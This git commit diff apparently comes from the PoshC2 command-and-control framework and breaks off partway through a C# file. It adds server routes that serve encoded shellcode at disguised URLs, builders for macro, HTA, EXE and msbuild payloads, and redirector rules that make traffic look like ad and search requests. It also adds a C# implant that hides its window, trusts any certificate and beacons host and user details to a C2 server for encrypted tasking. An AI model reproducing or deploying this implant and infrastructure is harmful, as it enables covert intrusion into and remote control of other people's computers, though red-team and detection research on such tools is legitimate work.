commit
6bf0ef9f02
|
@ -90,3 +90,10 @@ ENV/
|
|||
|
||||
# Rope project settings
|
||||
.ropeproject
|
||||
|
||||
# VSCode
|
||||
.vscode/
|
||||
|
||||
# Pip Env
|
||||
Pipfile
|
||||
Pipfile.lock
|
||||
|
|
12
AutoLoads.py
12
AutoLoads.py
|
@ -2,16 +2,16 @@
|
|||
|
||||
from DB import *
|
||||
from Config import *
|
||||
import os
|
||||
import os, base64
|
||||
|
||||
def check_module_loaded( module_name, randomuri, force=False ):
|
||||
try:
|
||||
modules_loaded = select_mods(randomuri)
|
||||
if force:
|
||||
for modname in os.listdir("%s/Modules/" % POSHDIR):
|
||||
for modname in os.listdir(ModulesDirectory):
|
||||
if modname.lower() in module_name.lower():
|
||||
module_name = modname
|
||||
file = open(("%sModules/%s" % (POSHDIR,module_name)), "r")
|
||||
file = open(("%s%s" % (ModulesDirectory,module_name)), "r")
|
||||
module = file.read()
|
||||
new_task(("loadmodule %s" % module_name), randomuri)
|
||||
if modules_loaded:
|
||||
|
@ -19,16 +19,16 @@ def check_module_loaded( module_name, randomuri, force=False ):
|
|||
if module_name in modules_loaded:
|
||||
loaded = "YES"
|
||||
else:
|
||||
for modname in os.listdir("%s/Modules/" % POSHDIR):
|
||||
for modname in os.listdir(ModulesDirectory):
|
||||
if modname.lower() in module_name.lower():
|
||||
module_name = modname
|
||||
file = open(("%sModules/%s" % (POSHDIR,module_name)), "r")
|
||||
file = open(("%s%s" % (ModulesDirectory,module_name)), "r")
|
||||
module = file.read()
|
||||
new_task(("loadmodule %s" % module_name), randomuri)
|
||||
update_mods(new_modules_loaded, randomuri)
|
||||
else:
|
||||
new_modules_loaded = "%s" % (module_name)
|
||||
file = open(("%sModules/%s" % (POSHDIR,module_name)), "r")
|
||||
file = open(("%s%s" % (ModulesDirectory,module_name)), "r")
|
||||
module = file.read()
|
||||
new_task(("loadmodule %s" % module_name), randomuri)
|
||||
update_mods(new_modules_loaded, randomuri)
|
||||
|
|
87
C2Server.py
87
C2Server.py
|
@ -79,6 +79,26 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
s.end_headers()
|
||||
s.wfile.write(content)
|
||||
|
||||
elif ("%spotal" % QuickCommandURI) in s.path:
|
||||
filename = "%sSharp-shellcode_x86.bin" % (PayloadsDirectory)
|
||||
with open(filename, 'rb') as f:
|
||||
content = f.read()
|
||||
content = base64.b64encode(content)
|
||||
s.send_response(200)
|
||||
s.send_header("Content-type", "text/html")
|
||||
s.end_headers()
|
||||
s.wfile.write(content)
|
||||
|
||||
elif ("%slogin" % QuickCommandURI) in s.path:
|
||||
filename = "%sSharp-shellcode_x64.bin" % (PayloadsDirectory)
|
||||
with open(filename, 'rb') as f:
|
||||
content = f.read()
|
||||
content = base64.b64encode(content)
|
||||
s.send_response(200)
|
||||
s.send_header("Content-type", "text/html")
|
||||
s.end_headers()
|
||||
s.wfile.write(content)
|
||||
|
||||
elif ("%s_cs" % QuickCommandURI) in s.path:
|
||||
filename = "%scs_sct.xml" % (PayloadsDirectory)
|
||||
with open(filename, 'rb') as f:
|
||||
|
@ -125,8 +145,26 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
implant_type = "Daisy"
|
||||
if s.path == ("%s?m" % new_implant_url):
|
||||
implant_type = "OSX"
|
||||
if s.path == ("%s?c" % new_implant_url):
|
||||
implant_type = "C#"
|
||||
if s.path == ("%s?p?c" % new_implant_url):
|
||||
implant_type = "C#"
|
||||
|
||||
if implant_type == "OSX":
|
||||
if implant_type == "C#":
|
||||
cookieVal = (s.cookieHeader).replace("SessionID=","")
|
||||
decCookie = decrypt(KEY, cookieVal)
|
||||
IPAddress = "%s:%s" % (s.client_address[0],s.client_address[1])
|
||||
Domain,User,Hostname,Arch,PID,Proxy = decCookie.split(";")
|
||||
newImplant = Implant(IPAddress, implant_type, Domain.decode("utf-8"), User.decode("utf-8"), Hostname.decode("utf-8"), Arch, PID, Proxy)
|
||||
newImplant.save()
|
||||
newImplant.display()
|
||||
responseVal = encrypt(KEY, newImplant.SharpCore)
|
||||
s.send_response(200)
|
||||
s.send_header("Content-type", "text/html")
|
||||
s.end_headers()
|
||||
s.wfile.write(responseVal)
|
||||
|
||||
elif implant_type == "OSX":
|
||||
cookieVal = (s.cookieHeader).replace("SessionID=","")
|
||||
decCookie = decrypt(KEY, cookieVal)
|
||||
IPAddress = "%s:%s" % (s.client_address[0],s.client_address[1])
|
||||
|
@ -218,6 +256,9 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
elif (decCookie.lower().startswith("$shellcode64")) or (decCookie.lower().startswith("$shellcode64")):
|
||||
insert_completedtask(RandomURI, decCookie, "Upload shellcode complete", "")
|
||||
print ("Upload shellcode complete")
|
||||
elif (decCookie.lower().startswith("run-exe core.program core inject-shellcode")):
|
||||
insert_completedtask(RandomURI, decCookie, "Upload shellcode complete", "")
|
||||
print (outputParsed)
|
||||
elif "download-file" in decCookie.lower():
|
||||
try:
|
||||
rawoutput = decrypt_bytes_gzip(encKey, (post_data[1500:]))
|
||||
|
@ -263,10 +304,36 @@ if __name__ == '__main__':
|
|||
print (Colours.GREEN + logopic)
|
||||
print (Colours.END + "")
|
||||
|
||||
|
||||
# KeyFile = None, CertFile = None, ClientCertCAs = None
|
||||
if os.path.isfile(DB):
|
||||
print ("Using existing database / project" + Colours.GREEN)
|
||||
C2 = get_c2server_all()
|
||||
if (C2[1] == HostnameIP):
|
||||
print (C2[1])
|
||||
else:
|
||||
print ("Error different IP so regenerating payloads")
|
||||
if os.path.exists("%spayloads_old" % ROOTDIR):
|
||||
import shutil
|
||||
shutil.rmtree("%spayloads_old" % ROOTDIR)
|
||||
os.rename("%spayloads" % ROOTDIR, "%spayloads_old" % ROOTDIR)
|
||||
os.makedirs("%spayloads" % ROOTDIR)
|
||||
C2 = get_c2server_all()
|
||||
newPayload = Payloads(C2[5], C2[2], HostnameIP, C2[3], C2[8], C2[12],
|
||||
C2[13], C2[11], "", "", C2[19], C2[20],C2[21], get_newimplanturl(), PayloadsDirectory)
|
||||
new_urldetails( "updated_host", HostnameIP, C2[3], "", "", "", "" )
|
||||
update_item("HostnameIP", "C2Server", HostnameIP)
|
||||
newPayload.CreateRaw()
|
||||
newPayload.CreateDlls()
|
||||
newPayload.CreateShellcode()
|
||||
newPayload.CreateSCT()
|
||||
newPayload.CreateHTA()
|
||||
newPayload.CreateCS()
|
||||
newPayload.CreateMacro()
|
||||
newPayload.CreateEXE()
|
||||
newPayload.CreateMsbuild()
|
||||
newPayload.CreatePython()
|
||||
newPayload.WriteQuickstart( ROOTDIR + '/quickstart.txt' )
|
||||
|
||||
else:
|
||||
print ("Initializing new project folder and database" + Colours.GREEN)
|
||||
print ("")
|
||||
|
@ -278,6 +345,17 @@ if __name__ == '__main__':
|
|||
os.makedirs("%s/payloads" % directory)
|
||||
initializedb()
|
||||
setupserver(HostnameIP,gen_key(),DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,ROOTDIR,ServerPort,QuickCommand,DownloadURI,"","","",Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer,APIToken,APIUser,EnableNotifications)
|
||||
rewriteFile = "%s/rewrite-rules.txt" % directory
|
||||
print "Creating Rewrite Rules in: " + rewriteFile
|
||||
print ""
|
||||
rewriteHeader=["RewriteEngine On", "SSLProxyEngine On", "SSLProxyCheckPeerCN Off", "SSLProxyVerify none", "SSLProxyCheckPeerName off", "SSLProxyCheckPeerExpire off","Define 10.0.0.1 # change ip here", "Define SharpSocks 10.0.0.1 # change ip here"]
|
||||
rewriteFileContents = rewriteHeader + urlConfig.fetchRewriteRules() + urlConfig.fetchSocksRewriteRules()
|
||||
with open(rewriteFile,'w') as outFile:
|
||||
for line in rewriteFileContents:
|
||||
outFile.write(line)
|
||||
outFile.write('\n')
|
||||
outFile.close()
|
||||
|
||||
|
||||
C2 = get_c2server_all()
|
||||
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
|
||||
|
@ -308,9 +386,10 @@ if __name__ == '__main__':
|
|||
print (Colours.END)
|
||||
|
||||
if (os.path.isfile("%sposh.crt" % ROOTDIR)) and (os.path.isfile("%sposh.key" % ROOTDIR)):
|
||||
try:
|
||||
httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="%sposh.key" % ROOTDIR, certfile="%sposh.crt" % ROOTDIR, server_side=True, ssl_version=ssl.PROTOCOL_TLS)
|
||||
# add this if required - https://github.com/nettitude/PoshC2_Python/issues/13
|
||||
# httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="%sposh.key" % ROOTDIR, certfile="%sposh.crt" % ROOTDIR, server_side=True, ssl_version=ssl.PROTOCOL_TLSv1)
|
||||
except Exception as e:
|
||||
httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="%sposh.key" % ROOTDIR, certfile="%sposh.crt" % ROOTDIR, server_side=True, ssl_version=ssl.PROTOCOL_TLSv1)
|
||||
else:
|
||||
raise ValueError("Cannot find the certificate files")
|
||||
#logging.basicConfig(level=logging.WARNING) # DEBUG,INFO,WARNING,ERROR,CRITICAL
|
||||
|
|
|
@ -75,7 +75,7 @@ while(1):
|
|||
implant = get_implantbyid(implantid)
|
||||
if implant:
|
||||
print Colours.GREEN
|
||||
print "New %s implant connected: (uri=%s key=%s)" % (implant[15], implant[1], implant[5])
|
||||
print "New %s implant connected: (uri=%s key=%s) (%s)" % (implant[15], implant[1], implant[5], now.strftime("%m/%d/%Y %H:%M:%S"))
|
||||
print "%s | URL:%s | Time:%s | PID:%s | Sleep:%s | %s (%s) " % (implant[4], implant[9], implant[6],
|
||||
implant[8], implant[13], implant[11], implant[10])
|
||||
print Colours.END
|
||||
|
|
71
Config.py
71
Config.py
|
@ -1,28 +1,33 @@
|
|||
#!/usr/bin/env python
|
||||
from UrlConfig import UrlConfig
|
||||
|
||||
HOST_NAME = '0.0.0.0'
|
||||
PORT_NUMBER = 443
|
||||
|
||||
POSHDIR = "/opt/PoshC2_Python/"
|
||||
ROOTDIR = "/opt/PoshC2_Project/"
|
||||
HostnameIP = "https://172.19.131.109"
|
||||
ServerPort = "443"
|
||||
HostnameIP = "https://172.16.0.124"
|
||||
DomainFrontHeader = "" # example df.azureedge.net
|
||||
DefaultSleep = "5"
|
||||
KillDate = "08/06/2019"
|
||||
QuickCommand = "adsense/troubleshooter/1631343?id=Ndks8dmsPld"
|
||||
DownloadURI = "adsense/troubleshooter/1631343?id=Ndks8dmsPld"
|
||||
UserAgent = "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko"
|
||||
urlConfig = UrlConfig("%soldurls.txt" % POSHDIR) # Instantiate UrlConfig object - old urls using a list from a text file
|
||||
#urlConfig = UrlConfig(wordList="%swordlist.txt" % POSHDIR) # Instantiate UrlConfig object - wordlist random url generator
|
||||
QuickCommand = urlConfig.fetchQCUrl()
|
||||
DownloadURI = urlConfig.fetchConnUrl()
|
||||
Sounds = "No"
|
||||
ServerPort = "443"
|
||||
EnableNotifications = "No"
|
||||
|
||||
# ClockworkSMS - https://www.clockworksms.com
|
||||
APIKEY = ""
|
||||
MobileNumber = '"07777777777","07777777777"'
|
||||
|
||||
# Pushover - https://pushover.net/
|
||||
APIToken = ""
|
||||
APIUser = ""
|
||||
URLS = '"adsense/troubleshooter/1631343/","adServingData/PROD/TMClient/6/8736/","advanced_search?hl=en-GB&fg=","async/newtab?ei=","babel-polyfill/6.3.14/polyfill.min.js=","bh/sync/aol?rurl=/ups/55972/sync?origin=","bootstrap/3.1.1/bootstrap.min.js?p=","branch-locator/search.asp?WT.ac&api=","business/home.asp&ved=","business/retail-business/insurance.asp?WT.mc_id=","cdb?ptv=48&profileId=125&av=1&cb=","cis/marketq?bartype=AREA&showheader=FALSE&showvaluemarkers=","classroom/sharewidget/widget_stable.html?usegapi=","client_204?&atyp=i&biw=1920&bih=921&ei=","load/pages/index.php?t=","putil/2018/0/11/po.html?ved=","q/2018/load.php?lang=en&modules=","status/995598521343541248/query=","TOS?loc=GB&hl=en&privacy=","trader-update/history&pd=","types/translation/v1/articles/","uasclient/0.1.34/modules/","usersync/tradedesk/","utag/lbg/main/prod/utag.15.js?utv=","vs/1/vsopts.js?","vs/site/bgroup/visitor/","w/load.php?debug=false&lang=en&modules=","web/20110920084728/","webhp?hl=en&sa=X&ved=","work/embedded/search?oid="'
|
||||
SocksURLS = '"GoPro5/black/2018/","Philips/v902/"'
|
||||
UserAgent = "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko"
|
||||
URLS = urlConfig.fetchUrls()
|
||||
SocksURLS = urlConfig.fetchSocks()
|
||||
Referer = "" # optional
|
||||
HTTPResponse = """<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
|
||||
<html><head>
|
||||
|
@ -47,60 +52,14 @@ HTTPResponses = [
|
|||
ServerHeader = "Apache"
|
||||
Insecure = "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}"
|
||||
|
||||
|
||||
|
||||
# DO NOT CHANGE #
|
||||
FilesDirectory = "%sFiles/" % POSHDIR
|
||||
PayloadsDirectory = "%spayloads/" % ROOTDIR
|
||||
ModulesDirectory = "%sModules/" % POSHDIR
|
||||
DownloadsDirectory = "%sdownloads/" % ROOTDIR
|
||||
ReportsDirectory = "%sreports/" % ROOTDIR
|
||||
DB = "%s/PowershellC2.SQLite" % ROOTDIR
|
||||
|
||||
# DO NOT CHANGE #
|
||||
|
||||
'''
|
||||
RewriteEngine On
|
||||
SSLProxyEngine On
|
||||
SSLProxyCheckPeerCN Off
|
||||
SSLProxyVerify none
|
||||
SSLProxyCheckPeerName off
|
||||
SSLProxyCheckPeerExpire off
|
||||
|
||||
Define PoshC2 <ADD_IPADDRESS_HERE>
|
||||
Define SharpSocks <ADD_IPADDRESS_HERE>
|
||||
|
||||
RewriteRule ^/adsense/troub(.*) https://${PoshC2}/adsense/troub$1 [NC,L,P]
|
||||
RewriteRule ^/adServingData(.*) https://${PoshC2}/adServingData$1 [NC,L,P]
|
||||
RewriteRule ^/advanced_sear(.*) https://${PoshC2}/advanced_sear$1 [NC,L,P]
|
||||
RewriteRule ^/async/newtab(.*) https://${PoshC2}/async/newtab$1 [NC,L,P]
|
||||
RewriteRule ^/babel-polyfil(.*) https://${PoshC2}/babel-polyfil$1 [NC,L,P]
|
||||
RewriteRule ^/bh/sync/aol(.*) https://${PoshC2}/bh/sync/aol$1 [NC,L,P]
|
||||
RewriteRule ^/bootstrap/3.1(.*) https://${PoshC2}/bootstrap/3.1$1 [NC,L,P]
|
||||
RewriteRule ^/branch-locato(.*) https://${PoshC2}/branch-locato$1 [NC,L,P]
|
||||
RewriteRule ^/business/home(.*) https://${PoshC2}/business/home$1 [NC,L,P]
|
||||
RewriteRule ^/business/reta(.*) https://${PoshC2}/business/reta$1 [NC,L,P]
|
||||
RewriteRule ^/cdb(.*) https://${PoshC2}/cdb$1 [NC,L,P]
|
||||
RewriteRule ^/cis/marketq(.*) https://${PoshC2}/cis/marketq$1 [NC,L,P]
|
||||
RewriteRule ^/classroom/sha(.*) https://${PoshC2}/classroom/sha$1 [NC,L,P]
|
||||
RewriteRule ^/client_204(.*) https://${PoshC2}/client_204$1 [NC,L,P]
|
||||
RewriteRule ^/load/pages/in(.*) https://${PoshC2}/load/pages/in$1 [NC,L,P]
|
||||
RewriteRule ^/putil/2018/0/(.*) https://${PoshC2}/putil/2018/0/$1 [NC,L,P]
|
||||
RewriteRule ^/q/2018/load.p(.*) https://${PoshC2}/q/2018/load.p$1 [NC,L,P]
|
||||
RewriteRule ^/status/995598(.*) https://${PoshC2}/status/995598$1 [NC,L,P]
|
||||
RewriteRule ^/TOS(.*) https://${PoshC2}/TOS$1 [NC,L,P]
|
||||
RewriteRule ^/trader-update(.*) https://${PoshC2}/trader-update$1 [NC,L,P]
|
||||
RewriteRule ^/types/transla(.*) https://${PoshC2}/types/transla$1 [NC,L,P]
|
||||
RewriteRule ^/uasclient/0.1(.*) https://${PoshC2}/uasclient/0.1$1 [NC,L,P]
|
||||
RewriteRule ^/usersync/trad(.*) https://${PoshC2}/usersync/trad$1 [NC,L,P]
|
||||
RewriteRule ^/utag/lbg/main(.*) https://${PoshC2}/utag/lbg/main$1 [NC,L,P]
|
||||
RewriteRule ^/vs/1/vsopts.j(.*) https://${PoshC2}/vs/1/vsopts.j$1 [NC,L,P]
|
||||
RewriteRule ^/vs/site/bgrou(.*) https://${PoshC2}/vs/site/bgrou$1 [NC,L,P]
|
||||
RewriteRule ^/w/load.php(.*) https://${PoshC2}/w/load.php$1 [NC,L,P]
|
||||
RewriteRule ^/web/201109200(.*) https://${PoshC2}/web/201109200$1 [NC,L,P]
|
||||
RewriteRule ^/webhp(.*) https://${PoshC2}/webhp$1 [NC,L,P]
|
||||
RewriteRule ^/work/embedded(.*) https://${PoshC2}/work/embedded$1 [NC,L,P]
|
||||
|
||||
RewriteRule ^/GoPro5/black/2018/(.*) http://${SharpSocks}/GoPro5/black/2018/$1 [NC,L,P]
|
||||
RewriteRule ^/Philips/v902/(.*) http://${SharpSocks}/Philips/v902/$1 [NC,L,P]
|
||||
|
||||
'''
|
||||
# These rules aren't needed as you'll find them auto-generated within the project folder now.
|
||||
# checkout <project-name>/rewrite-rules.txt but left them here just in case.
|
||||
|
|
|
@ -0,0 +1,20 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
from DB import *
|
||||
from Colours import *
|
||||
from Core import *
|
||||
import os, sys, re
|
||||
|
||||
file = open(sys.argv[1], "r")
|
||||
result = get_keys()
|
||||
|
||||
for line in file:
|
||||
if re.search("SessionID", line):
|
||||
if result:
|
||||
for i in result:
|
||||
try:
|
||||
value = decrypt(i[0], line.split('=')[1])
|
||||
print (Colours.GREEN + "Success with Key %s - %s" % (i[0],value))
|
||||
except:
|
||||
print (Colours.RED + "Failed with Key %s" % i[0])
|
||||
|
4
Core.py
4
Core.py
|
@ -38,6 +38,10 @@ def load_module(module_name):
|
|||
file = codecs.open(("%sModules/%s" % (POSHDIR,module_name)), 'r', encoding='utf-8-sig')
|
||||
return file.read()
|
||||
|
||||
def load_module_sharp(module_name):
|
||||
file = open(("%sModules/%s" % (POSHDIR,module_name)), 'r+b')
|
||||
return base64.b64encode(file.read())
|
||||
|
||||
def get_images():
|
||||
dir_path = os.path.dirname(os.path.realpath(__file__))
|
||||
rootimagedir = "%s/Images/" % dir_path
|
||||
|
|
24
DB.py
24
DB.py
|
@ -23,7 +23,8 @@ def initializedb():
|
|||
Alive TEXT,
|
||||
Sleep TEXT,
|
||||
ModsLoaded TEXT,
|
||||
Pivot TEXT);"""
|
||||
Pivot TEXT,
|
||||
Label TEXT);"""
|
||||
|
||||
create_autoruns = """CREATE TABLE AutoRuns (
|
||||
TaskID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
|
||||
|
@ -283,6 +284,12 @@ def update_sleep( sleep, randomuri ):
|
|||
c.execute("UPDATE Implants SET Sleep=? WHERE RandomURI=?",(sleep, randomuri))
|
||||
conn.commit()
|
||||
|
||||
def update_label( label, randomuri ):
|
||||
conn = sqlite3.connect(DB)
|
||||
c = conn.cursor()
|
||||
c.execute("UPDATE Implants SET Label=? WHERE RandomURI=?",(label, randomuri))
|
||||
conn.commit()
|
||||
|
||||
def update_mods( modules, randomuri ):
|
||||
conn = sqlite3.connect(DB)
|
||||
c = conn.cursor()
|
||||
|
@ -351,11 +358,11 @@ def update_implant_lastseen(time, randomuri):
|
|||
c.execute("UPDATE Implants SET LastSeen=? WHERE RandomURI=?", (time,randomuri))
|
||||
conn.commit()
|
||||
|
||||
def new_implant(RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen, PID, Proxy, Arch, Domain, Alive, Sleep, ModsLoaded, Pivot):
|
||||
def new_implant(RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen, PID, Proxy, Arch, Domain, Alive, Sleep, ModsLoaded, Pivot, Label):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("INSERT INTO Implants (RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen, PID, Proxy, Arch, Domain, Alive, Sleep, ModsLoaded, Pivot) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", (RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen, PID, Proxy, Arch, Domain, Alive, Sleep, ModsLoaded, Pivot))
|
||||
c.execute("INSERT INTO Implants (RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen, PID, Proxy, Arch, Domain, Alive, Sleep, ModsLoaded, Pivot, Label) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", (RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen, PID, Proxy, Arch, Domain, Alive, Sleep, ModsLoaded, Pivot, Label))
|
||||
conn.commit()
|
||||
|
||||
def insert_completedtask(randomuri, command, output, prompt):
|
||||
|
@ -615,3 +622,14 @@ def get_newtasks(randomuri):
|
|||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_keys():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
result = c.execute("SELECT EncKey FROM C2Server")
|
||||
result = c.fetchall()
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
|
|
@ -0,0 +1,503 @@
|
|||
using System;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Reflection;
|
||||
using System.Threading;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Collections.Generic;
|
||||
|
||||
//mono-csc /opt/PoshC2_Python_Git/Files/Sharp.cs -out:/tmp/Sharp.dll -target:library
|
||||
//cat /tmp/Sharp.dll | base64 -w 0 | xclip
|
||||
|
||||
public class Program
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern IntPtr GetConsoleWindow();
|
||||
[DllImport("user32.dll")]
|
||||
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
|
||||
public const int SW_HIDE = 0;
|
||||
public const int SW_SHOW = 5;
|
||||
|
||||
public static void Sharp()
|
||||
{
|
||||
var handle = GetConsoleWindow();
|
||||
ShowWindow(handle, SW_HIDE);
|
||||
AllowUntrustedCertificates();
|
||||
try { primer(); } catch {
|
||||
var mre = new System.Threading.ManualResetEvent(false);
|
||||
mre.WaitOne(300000);
|
||||
try { primer(); } catch {
|
||||
mre.WaitOne(600000);
|
||||
try { primer(); } catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void Main()
|
||||
{
|
||||
Sharp();
|
||||
}
|
||||
|
||||
static byte[] Combine(byte[] first, byte[] second)
|
||||
{
|
||||
byte[] ret = new byte[first.Length + second.Length];
|
||||
Buffer.BlockCopy(first, 0, ret, 0, first.Length);
|
||||
Buffer.BlockCopy(second, 0, ret, first.Length, second.Length);
|
||||
return ret;
|
||||
}
|
||||
|
||||
static System.Net.WebClient GetWebRequest(string cookie)
|
||||
{
|
||||
var x = new System.Net.WebClient();
|
||||
|
||||
var purl = @"#REPLACEPROXYURL#";
|
||||
var puser = @"#REPLACEPROXYUSER#";
|
||||
var ppass = @"#REPLACEPROXYPASSWORD#";
|
||||
|
||||
if (!String.IsNullOrEmpty(purl))
|
||||
{
|
||||
WebProxy proxy = new WebProxy();
|
||||
proxy.Address = new Uri(purl);
|
||||
proxy.Credentials = new NetworkCredential(puser, ppass);
|
||||
proxy.UseDefaultCredentials = false;
|
||||
proxy.BypassProxyOnLocal = false;
|
||||
x.Proxy = proxy;
|
||||
}
|
||||
|
||||
var df = "#REPLACEDF#";
|
||||
if (!String.IsNullOrEmpty(df))
|
||||
x.Headers.Add("Host", df);
|
||||
|
||||
x.Headers.Add("User-Agent", "#REPLACEUSERAGENT#");
|
||||
x.Headers.Add("Referer", "#REPLACEREFERER#");
|
||||
|
||||
if (null != cookie)
|
||||
x.Headers.Add(System.Net.HttpRequestHeader.Cookie, $"SessionID={cookie}");
|
||||
|
||||
return x;
|
||||
}
|
||||
|
||||
static string Decryption(string key, string enc)
|
||||
{
|
||||
var b = System.Convert.FromBase64String(enc);
|
||||
var IV = new Byte[16];
|
||||
Array.Copy(b, IV, 16);
|
||||
try
|
||||
{
|
||||
var a = CreateCam(key, System.Convert.ToBase64String(IV));
|
||||
var u = a.CreateDecryptor().TransformFinalBlock(b, 16, b.Length - 16);
|
||||
return System.Text.Encoding.UTF8.GetString(u);
|
||||
}
|
||||
catch
|
||||
{
|
||||
var a = CreateCam(key, System.Convert.ToBase64String(IV), false);
|
||||
var u = a.CreateDecryptor().TransformFinalBlock(b, 16, b.Length - 16);
|
||||
return System.Text.Encoding.UTF8.GetString(u);
|
||||
}
|
||||
finally
|
||||
{
|
||||
Array.Clear(b, 0, b.Length);
|
||||
Array.Clear(IV, 0, 16);
|
||||
}
|
||||
}
|
||||
|
||||
static string Encryption(string key, string un, bool comp = false, byte[] unByte = null)
|
||||
{
|
||||
byte[] byEnc = null;
|
||||
if (unByte != null)
|
||||
byEnc = unByte;
|
||||
else
|
||||
byEnc = System.Text.Encoding.UTF8.GetBytes(un);
|
||||
|
||||
if (comp)
|
||||
byEnc = Compress(byEnc);
|
||||
|
||||
try
|
||||
{
|
||||
var a = CreateCam(key, null);
|
||||
var f = a.CreateEncryptor().TransformFinalBlock(byEnc, 0, byEnc.Length);
|
||||
return System.Convert.ToBase64String(Combine(a.IV, f));
|
||||
}
|
||||
catch
|
||||
{
|
||||
var a = CreateCam(key, null, false);
|
||||
var f = a.CreateEncryptor().TransformFinalBlock(byEnc, 0, byEnc.Length);
|
||||
return System.Convert.ToBase64String(Combine(a.IV, f));
|
||||
}
|
||||
}
|
||||
|
||||
static System.Security.Cryptography.SymmetricAlgorithm CreateCam(string key, string IV, bool rij = true)
|
||||
{
|
||||
System.Security.Cryptography.SymmetricAlgorithm a = null;
|
||||
if (rij)
|
||||
a = new System.Security.Cryptography.RijndaelManaged();
|
||||
else
|
||||
a = new System.Security.Cryptography.AesCryptoServiceProvider();
|
||||
|
||||
a.Mode = System.Security.Cryptography.CipherMode.CBC;
|
||||
a.Padding = System.Security.Cryptography.PaddingMode.Zeros;
|
||||
a.BlockSize = 128;
|
||||
a.KeySize = 256;
|
||||
|
||||
if (null != IV)
|
||||
a.IV = System.Convert.FromBase64String(IV);
|
||||
else
|
||||
a.GenerateIV();
|
||||
|
||||
if (null != key)
|
||||
a.Key = System.Convert.FromBase64String(key);
|
||||
|
||||
return a;
|
||||
}
|
||||
static void AllowUntrustedCertificates()
|
||||
{
|
||||
try
|
||||
{
|
||||
System.Net.ServicePointManager.ServerCertificateValidationCallback = (z, y, x, w) => { return true; };
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
static void primer()
|
||||
{
|
||||
if (Convert.ToDateTime("#REPLACEKILLDATE#") > DateTime.Now)
|
||||
{
|
||||
var u = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
|
||||
var dn = System.Environment.UserDomainName;
|
||||
var cn = System.Environment.GetEnvironmentVariable("COMPUTERNAME");
|
||||
var arch = System.Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");
|
||||
int pid = Process.GetCurrentProcess().Id;
|
||||
Environment.CurrentDirectory = Environment.GetEnvironmentVariable("windir");
|
||||
var o = $"{dn};{u};{cn};{arch};{pid};#REPLACEBASEURL#";
|
||||
String key = "#REPLACEKEY#", baseURL = "#REPLACEBASEURL#", s = "#REPLACESTARTURL#";
|
||||
|
||||
var primer = GetWebRequest(Encryption(key, o)).DownloadString(s);
|
||||
var x = Decryption(key, primer);
|
||||
|
||||
var re = new Regex("RANDOMURI19901(.*)10991IRUMODNAR");
|
||||
var m = re.Match(x);
|
||||
string RandomURI = m.Groups[1].ToString();
|
||||
|
||||
re = new Regex("URLS10484390243(.*)34209348401SLRU");
|
||||
m = re.Match(x);
|
||||
string URLS = m.Groups[1].ToString();
|
||||
|
||||
re = new Regex("KILLDATE1665(.*)5661ETADLLIK");
|
||||
m = re.Match(x);
|
||||
var KillDate = m.Groups[1].ToString();
|
||||
|
||||
re = new Regex("SLEEP98001(.*)10089PEELS");
|
||||
m = re.Match(x);
|
||||
var Sleep = m.Groups[1].ToString();
|
||||
|
||||
re = new Regex("NEWKEY8839394(.*)4939388YEKWEN");
|
||||
m = re.Match(x);
|
||||
var NewKey = m.Groups[1].ToString();
|
||||
|
||||
re = new Regex("IMGS19459394(.*)49395491SGMI");
|
||||
m = re.Match(x);
|
||||
var IMGs = m.Groups[1].ToString();
|
||||
|
||||
ImplantCore(baseURL, RandomURI, URLS, KillDate, Sleep, NewKey, IMGs);
|
||||
}
|
||||
}
|
||||
|
||||
static byte[] Compress(byte[] raw)
|
||||
{
|
||||
using (MemoryStream memory = new MemoryStream())
|
||||
{
|
||||
using (GZipStream gzip = new GZipStream(memory, CompressionMode.Compress, true))
|
||||
{
|
||||
gzip.Write(raw, 0, raw.Length);
|
||||
}
|
||||
return memory.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
static Type LoadSomething(string assemblyQualifiedName)
|
||||
{
|
||||
return Type.GetType(assemblyQualifiedName, (name) =>
|
||||
{
|
||||
return AppDomain.CurrentDomain.GetAssemblies().Where(z => z.FullName == name.FullName).FirstOrDefault();
|
